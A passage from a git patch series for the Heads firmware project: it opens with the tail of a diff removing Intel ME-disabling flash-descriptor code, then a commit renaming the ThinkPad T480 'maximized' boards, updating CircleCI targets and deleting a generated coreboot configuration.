me11: - print("Setting the HAP bit in PCHSTRP0 to disable Intel ME...") - pchstrp0 |= (1 << 16) - fdf.write_to(fpsba, pack(" {:08x}:{:08x} me" - .format(me_start, me_end - 1, - me_start, me_start + end_addr - 1)) - print(" {:08x}:{:08x} bios --> {:08x}:{:08x} bios" - .format(bios_start, bios_end - 1, - me_start + end_addr, bios_end - 1)) - - flreg1 = start_end_to_flreg(me_start + end_addr, bios_end) - flreg2 = start_end_to_flreg(me_start, me_start + end_addr) - - fdf_copy.seek(frba + 0x4) - fdf_copy.write(pack(" Date: Wed, 12 Feb 2025 13:07:16 -0500 Subject: [PATCH 512/619] t480-maximized -> t480: we are not neutering ME anymore, therefore those are not maximized boards. We have to draw the line somewhere. - Reuse good tweeks from gaspar-ilom's provided config/coreboot-t480-maximized.config - move config/coreboot-t480-maximized.config to config/coreboot-t480.config, delete config/coreboot-t480-maximized.config - rename boards/t480-hotp-maximized -> boards/t480-hotp, boards/t480-maximized/t480-maximized -> boards/t480-maximized/t480 - Adapt CircleCI board naming accordingly TODO: - discuss need of thunderbold firmware presence in fw, that were part of @notgivenby prior work and now gone. Should it be brought back? - Tweaks of config/coreboot-t480.config against prior commit, outside of blobs paths having change. Signed-off-by: Thierry Laurion --- .circleci/config.yml | 10 +- .../t480-hotp.config} | 0 .../t480.config} | 0 config/coreboot-t480-maximized.config | 907 ------------------ config/coreboot-t480.config | 51 +- 5 files changed, 17 insertions(+), 951 deletions(-) rename boards/{t480-hotp-maximized/t480-hotp-maximized.config => t480-hotp/t480-hotp.config} (100%) rename boards/{t480-maximized/t480-maximized.config => t480/t480.config} (100%) delete mode 100644 config/coreboot-t480-maximized.config diff --git a/.circleci/config.yml b/.circleci/config.yml index 76aa05c59..54cfa7591 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -512,19 +512,19 @@ workflows: # t480 is based on 24.12 coreboot release, not sharing any buildstack from now, depend on muscl-cross cache - build: - name: t480-hotp-maximized - target: t480-hotp-maximized + name: t480-hotp + target: t480-hotp subcommand: "" requires: - x86-musl-cross-make # t480 is based on 24.12 coreboot release, not sharing any buildstack from now, depend on muscl-cross cache - build: - name: t480-maximized - target: t480-maximized + name: t480 + target: t480 subcommand: "" requires: - - t480-hotp-maximized + - t480-hotp # dasharo release, share 24.02.01 utils/crossgcc - build: diff --git a/boards/t480-hotp-maximized/t480-hotp-maximized.config b/boards/t480-hotp/t480-hotp.config similarity index 100% rename from boards/t480-hotp-maximized/t480-hotp-maximized.config rename to boards/t480-hotp/t480-hotp.config diff --git a/boards/t480-maximized/t480-maximized.config b/boards/t480/t480.config similarity index 100% rename from boards/t480-maximized/t480-maximized.config rename to boards/t480/t480.config diff --git a/config/coreboot-t480-maximized.config b/config/coreboot-t480-maximized.config deleted file mode 100644 index c02e2cf19..000000000 --- a/config/coreboot-t480-maximized.config +++ /dev/null @@ -1,907 +0,0 @@ -# -# Automatically generated file; DO NOT EDIT. -# coreboot configuration -# - -# -# General setup -# -CONFIG_COREBOOT_BUILD=y -CONFIG_LOCALVERSION="" -CONFIG_CBFS_PREFIX="fallback" -CONFIG_COMPILER_GCC=y -# CONFIG_COMPILER_LLVM_CLANG is not set -CONFIG_ARCH_SUPPORTS_CLANG=y -# CONFIG_ANY_TOOLCHAIN is not set -# CONFIG_CCACHE is not set -# CONFIG_LTO is not set -# CONFIG_IWYU is not set -# CONFIG_FMD_GENPARSER is not set -# CONFIG_UTIL_GENPARSER is not set -# CONFIG_OPTION_BACKEND_NONE is not set -CONFIG_USE_OPTION_TABLE=y -CONFIG_STATIC_OPTION_TABLE=y -CONFIG_COMPRESS_RAMSTAGE_LZMA=y -# CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set -CONFIG_SEPARATE_ROMSTAGE=y -CONFIG_INCLUDE_CONFIG_FILE=y -CONFIG_COLLECT_TIMESTAMPS=y -# CONFIG_TIMESTAMPS_ON_CONSOLE is not set -# CONFIG_USE_BLOBS is not set -# CONFIG_COVERAGE is not set -# CONFIG_UBSAN is not set -CONFIG_HAVE_ASAN_IN_RAMSTAGE=y -# CONFIG_ASAN is not set -# CONFIG_NO_STAGE_CACHE is not set -CONFIG_TSEG_STAGE_CACHE=y -# CONFIG_UPDATE_IMAGE is not set -CONFIG_BOOTSPLASH_IMAGE=y -CONFIG_BOOTSPLASH_FILE="@BRAND_DIR@/bootsplash.jpg" -CONFIG_BOOTSPLASH_CONVERT=y -CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 -# CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set -# CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set -# CONFIG_FW_CONFIG is not set - -# -# Software Bill Of Materials (SBOM) -# -# CONFIG_SBOM is not set -# end of Software Bill Of Materials (SBOM) -# end of General setup - -# -# Mainboard -# - -# -# Important: Run 'make distclean' before switching boards -# -# CONFIG_VENDOR_51NB is not set -# CONFIG_VENDOR_ACER is not set -# CONFIG_VENDOR_AMD is not set -# CONFIG_VENDOR_AOOSTAR is not set -# CONFIG_VENDOR_AOPEN is not set -# CONFIG_VENDOR_APPLE is not set -# CONFIG_VENDOR_ARM is not set -# CONFIG_VENDOR_ASROCK is not set -# CONFIG_VENDOR_ASUS is not set -# CONFIG_VENDOR_BIOSTAR is not set -# CONFIG_VENDOR_BOSTENTECH is not set -# CONFIG_VENDOR_BYTEDANCE is not set -# CONFIG_VENDOR_CAVIUM is not set -# CONFIG_VENDOR_CLEVO is not set -# CONFIG_VENDOR_COMPULAB is not set -# CONFIG_VENDOR_CWWK is not set -# CONFIG_VENDOR_DELL is not set -# CONFIG_VENDOR_EMULATION is not set -# CONFIG_VENDOR_ERYING is not set -# CONFIG_VENDOR_EXAMPLE is not set -# CONFIG_VENDOR_FACEBOOK is not set -# CONFIG_VENDOR_FOXCONN is not set -# CONFIG_VENDOR_FRAMEWORK is not set -# CONFIG_VENDOR_GETAC is not set -# CONFIG_VENDOR_GIGABYTE is not set -# CONFIG_VENDOR_GOOGLE is not set -# CONFIG_VENDOR_HARDKERNEL is not set -# CONFIG_VENDOR_HP is not set -# CONFIG_VENDOR_IBASE is not set -# CONFIG_VENDOR_IBM is not set -# CONFIG_VENDOR_INTEL is not set -# CONFIG_VENDOR_INVENTEC is not set -# CONFIG_VENDOR_KONTRON is not set -# CONFIG_VENDOR_LATTEPANDA is not set -CONFIG_VENDOR_LENOVO=y -# CONFIG_VENDOR_LIBRETREND is not set -# CONFIG_VENDOR_MITAC_COMPUTING is not set -# CONFIG_VENDOR_MSI is not set -# CONFIG_VENDOR_OCP is not set -# CONFIG_VENDOR_OPENCELLULAR is not set -# CONFIG_VENDOR_PACKARDBELL is not set -# CONFIG_VENDOR_PCENGINES is not set -# CONFIG_VENDOR_PINE64 is not set -# CONFIG_VENDOR_PORTWELL is not set -# CONFIG_VENDOR_PRODRIVE is not set -# CONFIG_VENDOR_PROTECTLI is not set -# CONFIG_VENDOR_PURISM is not set -# CONFIG_VENDOR_RAPTOR_CS is not set -# CONFIG_VENDOR_RAZER is not set -# CONFIG_VENDOR_RODA is not set -# CONFIG_VENDOR_SAMSUNG is not set -# CONFIG_VENDOR_SAPPHIRE is not set -# CONFIG_VENDOR_SIEMENS is not set -# CONFIG_VENDOR_SIFIVE is not set -# CONFIG_VENDOR_STARLABS is not set -# CONFIG_VENDOR_SUPERMICRO is not set -# CONFIG_VENDOR_SYSTEM76 is not set -# CONFIG_VENDOR_TI is not set -# CONFIG_VENDOR_TOPTON is not set -# CONFIG_VENDOR_UP is not set -# CONFIG_VENDOR_VIA is not set -CONFIG_BOARD_SPECIFIC_OPTIONS=y -CONFIG_MAINBOARD_FAMILY="T480" -CONFIG_MAINBOARD_PART_NUMBER="T480" -CONFIG_MAINBOARD_VERSION="1.0" -CONFIG_MAINBOARD_DIR="lenovo/sklkbl_thinkpad" -CONFIG_VGA_BIOS_ID="8086,0406" -CONFIG_DIMM_MAX=2 -CONFIG_DIMM_SPD_SIZE=512 -CONFIG_FMDFILE="" -CONFIG_NO_POST=y -CONFIG_MAINBOARD_VENDOR="LENOVO" -CONFIG_CBFS_SIZE=0xEEC000 -# CONFIG_CONSOLE_SERIAL is not set -CONFIG_LINEAR_FRAMEBUFFER_MAX_HEIGHT=1600 -CONFIG_LINEAR_FRAMEBUFFER_MAX_WIDTH=2560 -CONFIG_MAINBOARD_SUPPORTS_KABYLAKE_DUAL=y -CONFIG_MAINBOARD_SUPPORTS_KABYLAKE_QUAD=y -CONFIG_MAX_CPUS=8 -CONFIG_ONBOARD_VGA_IS_PRIMARY=y -CONFIG_UART_FOR_CONSOLE=0 -CONFIG_VARIANT_DIR="t480" -CONFIG_OVERRIDE_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/overridetree.cb" -CONFIG_DEVICETREE="devicetree.cb" -# CONFIG_VBOOT is not set -# CONFIG_VGA_BIOS is not set -CONFIG_PCIEXP_ASPM=y -CONFIG_PCIEXP_L1_SUB_STATE=y -CONFIG_PCIEXP_CLK_PM=y -CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="LENOVO" -CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xe0000000 -CONFIG_ECAM_MMCONF_BUS_NUMBER=256 -CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" -# CONFIG_FATAL_ASSERTS is not set -CONFIG_INTEL_GMA_VBT_FILE="src/mainboard/$(MAINBOARDDIR)/variants/$(VARIANT_DIR)/data.vbt" -# CONFIG_DISABLE_HECI1_AT_PRE_BOOT is not set -CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 -CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="T480" -# CONFIG_CONSOLE_POST is not set -CONFIG_MAX_SOCKET=1 -CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 -CONFIG_TPM_PIRQ=0x0 -CONFIG_USE_PM_ACPI_TIMER=y -CONFIG_DCACHE_RAM_BASE=0xfef00000 -CONFIG_DCACHE_RAM_SIZE=0x40000 -CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 -CONFIG_DCACHE_BSP_STACK_SIZE=0x4000 -CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 -CONFIG_HAVE_INTEL_FIRMWARE=y -CONFIG_USE_LEGACY_8254_TIMER=y -CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 -CONFIG_SPI_FLASH_INCLUDE_ALL_DRIVERS=y -CONFIG_SPI_FLASH_WINBOND=y -# CONFIG_DRIVERS_INTEL_WIFI is not set -CONFIG_IFD_BIN_PATH="@BLOB_DIR@/xx80/ifd.bin" -CONFIG_ME_BIN_PATH="@BLOB_DIR@/xx80/me.bin" -CONFIG_GBE_BIN_PATH="@BLOB_DIR@/xx80/gbe.bin" -CONFIG_MAINBOARD_SUPPORTS_SKYLAKE_CPU=y -CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 -CONFIG_CARDBUS_PLUGIN_SUPPORT=y -CONFIG_SPI_FLASH_GIGADEVICE=y -CONFIG_SPI_FLASH_STMICRO=y -# CONFIG_DEBUG_SMI is not set -# CONFIG_SOC_INTEL_COMMON_BLOCK_SGX_ENABLE is not set -CONFIG_HAVE_IFD_BIN=y -# CONFIG_BOARD_LENOVO_THINKPAD_T440P is not set -# CONFIG_BOARD_LENOVO_THINKPAD_W541 is not set -# CONFIG_BOARD_LENOVO_L520 is not set -# CONFIG_BOARD_LENOVO_THINKCENTRE_M900_TINY is not set -# CONFIG_BOARD_LENOVO_M920Q is not set -# CONFIG_BOARD_LENOVO_S230U is not set -CONFIG_BOARD_LENOVO_T480=y -# CONFIG_BOARD_LENOVO_T480S is not set -# CONFIG_BOARD_LENOVO_T400 is not set -# CONFIG_BOARD_LENOVO_T500 is not set -# CONFIG_BOARD_LENOVO_R400 is not set -# CONFIG_BOARD_LENOVO_R500 is not set -# CONFIG_BOARD_LENOVO_W500 is not set -# CONFIG_BOARD_LENOVO_T410 is not set -# CONFIG_BOARD_LENOVO_T420 is not set -# CONFIG_BOARD_LENOVO_T420S is not set -# CONFIG_BOARD_LENOVO_THINKPAD_T430 is not set -# CONFIG_BOARD_LENOVO_T430S is not set -# CONFIG_BOARD_LENOVO_T431S is not set -# CONFIG_BOARD_LENOVO_T520 is not set -# CONFIG_BOARD_LENOVO_W520 is not set -# CONFIG_BOARD_LENOVO_T530 is not set -# CONFIG_BOARD_LENOVO_W530 is not set -# CONFIG_BOARD_LENOVO_T60 is not set -# CONFIG_BOARD_LENOVO_Z61T is not set -# CONFIG_BOARD_LENOVO_R60 is not set -# CONFIG_BOARD_LENOVO_THINKCENTRE_A58 is not set -# CONFIG_BOARD_LENOVO_THINKCENTRE_M710S is not set -# CONFIG_BOARD_LENOVO_X131E is not set -# CONFIG_BOARD_LENOVO_X1_CARBON_GEN1 is not set -# CONFIG_BOARD_LENOVO_X200 is not set -# CONFIG_BOARD_LENOVO_X301 is not set -# CONFIG_BOARD_LENOVO_X201 is not set -# CONFIG_BOARD_LENOVO_X220 is not set -# CONFIG_BOARD_LENOVO_X220I is not set -# CONFIG_BOARD_LENOVO_X1 is not set -# CONFIG_BOARD_LENOVO_X230 is not set -# CONFIG_BOARD_LENOVO_X230T is not set -# CONFIG_BOARD_LENOVO_X230S is not set -# CONFIG_BOARD_LENOVO_X230_EDP is not set -# CONFIG_BOARD_LENOVO_X60 is not set -CONFIG_PS2K_EISAID="PNP0303" -CONFIG_PS2M_EISAID="PNP0F13" -CONFIG_THINKPADEC_HKEY_EISAID="IBM0068" -CONFIG_GFX_GMA_PANEL_1_PORT="eDP" -CONFIG_BOARD_LENOVO_SKLKBL_THINKPAD_COMMON=y -# CONFIG_LENOVO_TBFW_BIN= is not set -CONFIG_TTYS0_BAUD=115200 -# CONFIG_SOC_INTEL_CSE_SEND_EOP_EARLY is not set -CONFIG_POWER_STATE_DEFAULT_ON_AFTER_FAILURE=y -CONFIG_D3COLD_SUPPORT=y -CONFIG_GFX_GMA_PANEL_1_ON_EDP=y -CONFIG_DRIVERS_UART_8250IO=y -CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 -CONFIG_HEAP_SIZE=0x100000 -CONFIG_EC_GPE_SCI=0x50 -CONFIG_EC_STARLABS_BATTERY_MODEL="Unknown" -CONFIG_EC_STARLABS_BATTERY_TYPE="LION" -CONFIG_EC_STARLABS_BATTERY_OEM="Unknown" -CONFIG_TPM_MEASURED_BOOT=y -CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" -CONFIG_BOARD_ROMSIZE_KB_16384=y -# CONFIG_COREBOOT_ROMSIZE_KB_256 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_512 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_2048 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_4096 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_5120 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_6144 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_8192 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set -CONFIG_COREBOOT_ROMSIZE_KB_16384=y -# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set -CONFIG_COREBOOT_ROMSIZE_KB=16384 -CONFIG_ROM_SIZE=0x01000000 -CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y -CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y -CONFIG_POWER_STATE_OFF_AFTER_FAILURE=y -# CONFIG_POWER_STATE_ON_AFTER_FAILURE is not set -# CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set -CONFIG_MAINBOARD_POWER_FAILURE_STATE=0 -# end of Mainboard - -CONFIG_SYSTEM_TYPE_LAPTOP=y - -# -# Chipset -# - -# -# SoC -# -CONFIG_CHIPSET_DEVICETREE="soc/intel/skylake/chipset.cb" -CONFIG_FSP_M_FILE="@BLOB_DIR@/kabylake/Fsp_M.fd" -CONFIG_FSP_S_FILE="@BLOB_DIR@/kabylake/Fsp_S.fd" -CONFIG_CBFS_MCACHE_SIZE=0x4000 -CONFIG_ROMSTAGE_ADDR=0x2000000 -CONFIG_VERSTAGE_ADDR=0x2000000 -CONFIG_SMM_TSEG_SIZE=0x800000 -CONFIG_SMM_RESERVED_SIZE=0x200000 -CONFIG_SMM_MODULE_STACK_SIZE=0x800 -CONFIG_ACPI_BERT_SIZE=0x0 -CONFIG_DRIVERS_I2C_DESIGNWARE_CLOCK_MHZ=120 -CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 -CONFIG_ACPI_CPU_STRING="CP%02X" -CONFIG_STACK_SIZE=0x2000 -CONFIG_IFD_CHIPSET="sklkbl" -CONFIG_IED_REGION_SIZE=0x400000 -CONFIG_MAX_ROOT_PORTS=24 -CONFIG_PCR_BASE_ADDRESS=0xfd000000 -CONFIG_CPU_BCLK_MHZ=100 -CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_CLOCK_MHZ=120 -CONFIG_CPU_XTAL_HZ=24000000 -CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_MAX=2 -CONFIG_SOC_INTEL_I2C_DEV_MAX=6 -# CONFIG_ENABLE_SATA_TEST_MODE is not set -CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_M_VAL=0x30 -CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_N_VAL=0xc35 -CONFIG_FSP_HEADER_PATH="3rdparty/fsp/KabylakeFspBinPkg/Include/" -CONFIG_FSP_FD_PATH="3rdparty/fsp/KabylakeFspBinPkg/Fsp.fd" -CONFIG_SOC_INTEL_COMMON_DEBUG_CONSENT=0 -CONFIG_INTEL_GMA_BCLV_OFFSET=0xc8254 -CONFIG_INTEL_GMA_BCLV_WIDTH=16 -CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8256 -CONFIG_INTEL_GMA_BCLM_WIDTH=16 -CONFIG_FSP_PUBLISH_MBP_HOB=y -CONFIG_FSP_STATUS_GLOBAL_RESET=0x40000003 -CONFIG_MAX_HECI_DEVICES=5 -CONFIG_BOOTBLOCK_IN_CBFS=y -CONFIG_HAVE_PAM0_REGISTER=y -CONFIG_PCIEXP_COMMON_CLOCK=y -CONFIG_INTEL_TXT_BIOSACM_ALIGNMENT=0x40000 -CONFIG_CPU_INTEL_NUM_FIT_ENTRIES=10 -CONFIG_SOC_INTEL_GFX_FRAMEBUFFER_OFFSET=0x0 -CONFIG_PCIE_LTR_MAX_SNOOP_LATENCY=0x1003 -CONFIG_PCIE_LTR_MAX_NO_SNOOP_LATENCY=0x1003 -CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 -CONFIG_SOC_INTEL_COMMON_SKYLAKE_BASE=y -CONFIG_SOC_INTEL_KABYLAKE=y -CONFIG_FSP_T_LOCATION=0xfffe0000 -CONFIG_SOC_INTEL_COMMON_BLOCK_P2SB=y -CONFIG_FIXED_SMBUS_IO_BASE=0xefa0 -CONFIG_CBFS_CACHE_ALIGN=8 -CONFIG_SOC_INTEL_COMMON=y - -# -# Intel SoC Common Code for IP blocks -# -CONFIG_SOC_INTEL_COMMON_BLOCK=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_GPIO=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_LPIT=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_PEP=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_CPPC=y -CONFIG_SOC_INTEL_COMMON_BLOCK_CHIP_CONFIG=y -CONFIG_SOC_INTEL_COMMON_BLOCK_CPU=y -CONFIG_SOC_INTEL_COMMON_BLOCK_CPU_MPINIT=y -CONFIG_USE_FSP_FEATURE_PROGRAM_ON_APS=y -# CONFIG_USE_COREBOOT_MP_INIT is not set -CONFIG_SOC_INTEL_COMMON_BLOCK_CPU_SMMRELOCATE=y -CONFIG_SOC_INTEL_COMMON_BLOCK_CAR=y -CONFIG_INTEL_CAR_NEM_ENHANCED=y -# CONFIG_USE_INTEL_FSP_MP_INIT is not set -CONFIG_CPU_SUPPORTS_PM_TIMER_EMULATION=y -CONFIG_HAVE_HYPERTHREADING=y -# CONFIG_FSP_HYPERTHREADING is not set -# CONFIG_INTEL_KEYLOCKER is not set -# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_MAX is not set -# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_256MB is not set -# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_128MB is not set -# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_64MB is not set -# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_32MB is not set -# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_16MB is not set -# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_8MB is not set -# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_4MB is not set -# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_2MB is not set -CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_0MB=y -CONFIG_SOC_INTEL_COMMON_BLOCK_CSE=y -CONFIG_SOC_INTEL_COMMON_BLOCK_HECI1_DISABLE_USING_PCR=y -CONFIG_SOC_INTEL_CSE_FMAP_NAME="SI_ME" -CONFIG_SOC_INTEL_CSE_RW_A_FMAP_NAME="ME_RW_A" -CONFIG_SOC_INTEL_CSE_RW_B_FMAP_NAME="ME_RW_B" -CONFIG_SOC_INTEL_CSE_RW_CBFS_NAME="me_rw" -CONFIG_SOC_INTEL_CSE_RW_HASH_CBFS_NAME="me_rw.hash" -CONFIG_SOC_INTEL_CSE_RW_VERSION_CBFS_NAME="me_rw.version" -CONFIG_SOC_INTEL_CSE_RW_FILE="" -CONFIG_SOC_INTEL_CSE_RW_VERSION="" -CONFIG_SOC_INTEL_CSE_IOM_CBFS_NAME="cse_iom" -CONFIG_SOC_INTEL_CSE_IOM_CBFS_FILE="" -CONFIG_SOC_INTEL_CSE_NPHY_CBFS_NAME="cse_nphy" -CONFIG_SOC_INTEL_CSE_NPHY_CBFS_FILE="" -CONFIG_SOC_INTEL_COMMON_BLOCK_DSP=y -CONFIG_SOC_INTEL_COMMON_BLOCK_FAST_SPI=y -CONFIG_FAST_SPI_DISABLE_WRITE_STATUS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_ITSS_POL_CFG=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_PADCFG_PADTOL=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_DUAL_ROUTE_SUPPORT=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GPMR=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GRAPHICS=y -CONFIG_SOC_INTEL_GFX_HAVE_DDI_A_BIFURCATION=y -# CONFIG_SOC_INTEL_DISABLE_IGD is not set -CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_HDA=y -CONFIG_SOC_INTEL_COMMON_BLOCK_HDA_VERB=y -CONFIG_SOC_INTEL_COMMON_BLOCK_I2C=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ITSS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_LPC=y -CONFIG_SOC_INTEL_COMMON_BLOCK_LPC_MIRROR_TO_GPMR=y -CONFIG_SOC_INTEL_COMMON_BLOCK_LPSS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_BASE_P2SB=y -CONFIG_SOC_INTEL_COMMON_BLOCK_PCIE=y -CONFIG_SOC_INTEL_COMMON_BLOCK_PCR=y -CONFIG_SOC_INTEL_COMMON_BLOCK_PMC=y -CONFIG_SOC_INTEL_COMMON_BLOCK_PMC_DISCOVERABLE=y -CONFIG_PMC_GLOBAL_RESET_ENABLE_LOCK=y -CONFIG_SOC_INTEL_COMMON_BLOCK_POWER_LIMIT=y -CONFIG_SOC_INTEL_COMMON_BLOCK_RTC=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SATA=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SCS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SGX=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SGX_LOCK_MEMORY=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SMBUS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_TCO=y -CONFIG_SOC_INTEL_COMMON_BLOCK_TCO_ENABLE_THROUGH_SMBUS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SMM=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_IO_TRAP=y -# CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_TCO_ENABLE is not set -CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_S5_DELAY_MS=0 -CONFIG_SOC_INTEL_COMMON_BLOCK_SPI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SA=y -CONFIG_SA_ENABLE_DPR=y -CONFIG_HAVE_CAPID_A_REGISTER=y -CONFIG_HAVE_BDSM_BGSM_REGISTER=y -CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL=y -CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL_PCI_DEV=y -CONFIG_SOC_INTEL_COMMON_BLOCK_TIMER=y -CONFIG_SOC_INTEL_COMMON_BLOCK_UART=y -CONFIG_SOC_INTEL_COMMON_BLOCK_XDCI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_XHCI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_XHCI_ELOG=y - -# -# Intel SoC Common PCH Code -# -CONFIG_SOC_INTEL_COMMON_PCH_CLIENT=y -CONFIG_SOC_INTEL_COMMON_PCH_BASE=y -CONFIG_SOC_INTEL_COMMON_PCH_LOCKDOWN=y -CONFIG_PCH_SPECIFIC_BASE_OPTIONS=y -CONFIG_PCH_SPECIFIC_DISCRETE_OPTIONS=y -CONFIG_PCH_SPECIFIC_CLIENT_OPTIONS=y - -# -# Intel SoC Common coreboot stages and non-IP blocks -# -CONFIG_SOC_INTEL_COMMON_BASECODE=y -CONFIG_SOC_INTEL_COMMON_RESET=y -CONFIG_SOC_INTEL_COMMON_ACPI_WAKE_SOURCE=y -CONFIG_PAVP=y -# CONFIG_MMA is not set -CONFIG_SOC_INTEL_COMMON_NHLT=y -# CONFIG_SOC_INTEL_DEBUG_CONSENT is not set - -# -# CPU -# -CONFIG_CPU_INTEL_FIRMWARE_INTERFACE_TABLE=y -CONFIG_CPU_INTEL_COMMON=y -CONFIG_ENABLE_VMX=y -CONFIG_SET_IA32_FC_LOCK_BIT=y -CONFIG_SET_MSR_AESNI_LOCK_BIT=y -CONFIG_CPU_INTEL_COMMON_SMM=y -CONFIG_PARALLEL_MP=y -CONFIG_PARALLEL_MP_AP_WORK=y -CONFIG_XAPIC_ONLY=y -# CONFIG_X2APIC_ONLY is not set -# CONFIG_X2APIC_RUNTIME is not set -# CONFIG_X2APIC_LATE_WORKAROUND is not set -CONFIG_UDELAY_TSC=y -CONFIG_TSC_MONOTONIC_TIMER=y -CONFIG_TSC_SYNC_MFENCE=y -CONFIG_HAVE_SMI_HANDLER=y -CONFIG_SMM_TSEG=y -CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 -CONFIG_AP_STACK_SIZE=0x800 -CONFIG_SMP=y -CONFIG_SSE=y -CONFIG_SSE2=y -CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y -CONFIG_USE_CPU_MICROCODE_CBFS_BINS=y -CONFIG_CPU_MICROCODE_CBFS_DEFAULT_BINS=y -# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_BINS is not set -# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_HEADER is not set -# CONFIG_CPU_MICROCODE_CBFS_NONE is not set - -# -# Northbridge -# - -# -# Southbridge -# -# CONFIG_PCIEXP_HOTPLUG is not set -CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS=y -CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y -# CONFIG_VALIDATE_INTEL_DESCRIPTOR is not set -CONFIG_FIXED_RCBA_MMIO_BASE=0xfed1c000 -CONFIG_RCBA_LENGTH=0x4000 - -# -# Super I/O -# - -# -# Embedded Controllers -# -CONFIG_EC_ACPI=y -CONFIG_EC_LENOVO_H8=y -CONFIG_H8_BEEP_ON_DEATH=y -CONFIG_H8_FLASH_LEDS_ON_DEATH=y -# CONFIG_H8_SUPPORT_BT_ON_WIFI is not set -# CONFIG_H8_FN_CTRL_SWAP is not set -CONFIG_H8_HAS_BAT_THRESHOLDS_IMPL=y -CONFIG_H8_HAS_PRIMARY_FN_KEYS=y -CONFIG_H8_HAS_LEDLOGO=y -CONFIG_EC_LENOVO_PMH7=y - -# -# Intel Firmware -# -CONFIG_HAVE_ME_BIN=y -# CONFIG_STITCH_ME_BIN is not set -# CONFIG_CHECK_ME is not set -# CONFIG_ME_REGION_ALLOW_CPU_READ_ACCESS is not set -# CONFIG_USE_ME_CLEANER is not set -CONFIG_MAINBOARD_USES_IFD_GBE_REGION=y 